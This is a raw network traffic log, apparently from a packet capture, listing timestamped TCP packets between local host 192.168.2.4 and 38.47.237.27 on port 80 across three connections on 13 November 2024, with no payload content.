Nov 13, 2024 09:28:52.160630941 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.161240101 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.161293030 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.161302090 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.161314964 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.161360025 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.665822983 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:53.677582026 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:53.682632923 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:53.682710886 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:53.691234112 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:53.696072102 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330128908 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330149889 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330200911 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330214024 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330228090 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.330229998 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330255032 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.330421925 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330435038 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330450058 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330456972 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.330463886 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330485106 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.330952883 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.330988884 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.335066080 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.335129023 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.335144043 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.335237980 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.335325003 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.361907005 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.361920118 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.361964941 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.445463896 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.445533037 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.445544958 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.445583105 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.445630074 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.445647001 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.445676088 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.445765018 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.445801020 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.446032047 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446101904 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446115971 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446136951 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.446367979 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446405888 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.446433067 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446449041 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446482897 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.446769953 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446829081 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446845055 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.446866035 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.446979046 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447014093 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.447287083 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447339058 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447374105 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.447411060 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447503090 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447520018 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447544098 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.447634935 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447674036 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.447751999 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447767019 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.447801113 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.448307991 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.448369026 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.448404074 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.526283026 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.526314020 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.526329041 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.526374102 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.560935020 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.560969114 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561002970 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561005116 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561053038 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561059952 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561136961 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561184883 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561216116 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561331034 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561362982 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561378002 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561398029 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561444998 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561534882 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561698914 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561743021 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561764002 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561778069 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.561820030 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.561985970 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562000990 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562055111 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.562092066 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562350988 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562391996 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562392950 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.562514067 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562553883 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.562585115 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562599897 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562634945 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.562793016 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562808037 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562822104 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562839031 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.562846899 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.562884092 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.563064098 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563348055 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563390017 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.563426018 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563441038 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563486099 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.563636065 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563652039 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563666105 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563683033 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.563692093 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.563724041 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.563926935 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564336061 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564378023 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.564397097 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564412117 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564445972 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.564591885 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564606905 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564620972 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564637899 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.564644098 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.564678907 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.564917088 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.565290928 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.565330982 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.565352917 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.565367937 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.565407991 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.641747952 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.641798019 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.641851902 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.641885042 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.641921043 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.641944885 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.641944885 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.676466942 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676486969 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676503897 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676520109 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676526070 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.676536083 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676544905 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.676582098 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676584005 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.676718950 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676734924 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676755905 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.676872969 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676888943 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676904917 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676908970 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.676922083 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.676939011 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.677149057 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677185059 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.677494049 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677578926 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677596092 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677614927 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.677783966 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677809000 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677819014 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.677824974 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.677859068 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.678050995 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678066969 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678081989 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678097963 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678102016 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.678134918 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.678303957 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678625107 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678663969 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.678693056 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678709984 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678741932 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.678883076 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678898096 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678914070 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678930044 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.678935051 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.678966999 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.679243088 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679589987 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679625034 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.679650068 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679666042 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679699898 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.679850101 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679866076 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679879904 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679897070 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.679900885 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.679933071 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.680160999 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680612087 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680648088 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.680692911 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680708885 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680742025 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.680836916 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680852890 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680867910 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680883884 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.680888891 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.680918932 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.681137085 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681616068 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681651115 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.681684017 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681700945 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681732893 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.681878090 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681894064 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681907892 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681922913 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.681929111 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.681961060 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.682176113 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.682526112 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.682544947 CET	80	59115	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:54.682564020 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:54.682575941 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:55.209733009 CET	59115	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.230909109 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.235821009 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.236023903 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.243518114 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.248471022 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248481035 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248493910 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248500109 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248507977 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248687029 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248701096 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248708010 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.248711109 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.905841112 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.905881882 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.905920029 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.905993938 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906011105 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906065941 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.906162024 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906198025 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.906205893 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.906215906 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906346083 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906394958 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.906404018 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906419039 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.906464100 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.910883904 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.910953999 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.910972118 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.911006927 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.911048889 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.911087036 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:56.938030958 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.938045025 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:56.938172102 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.024629116 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.024831057 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.024847031 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.024862051 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.024878025 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.024919987 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.024956942 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025000095 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025058031 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025058031 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025058031 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025058031 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025156021 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025295019 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025310040 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025348902 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025388002 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025441885 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025623083 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025722027 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025738955 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025772095 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.025871038 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025887966 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.025924921 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.026329994 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.026385069 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.026405096 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.026422024 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.026468992 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.026567936 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.026585102 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.026631117 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.065869093 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.065886021 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.065901995 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.066030025 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.066046000 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.066092014 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.066092968 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.113087893 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.143372059 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143404961 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143423080 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143436909 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143452883 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143469095 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143485069 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143768072 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143798113 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143834114 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143855095 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143873930 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.143938065 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.144088984 CET	59116	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:57.144114971 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144145966 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144252062 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144320965 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144336939 CET	80	59116	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:57.144370079 CET	59116	80	192.168.2.4	38.47.237.27
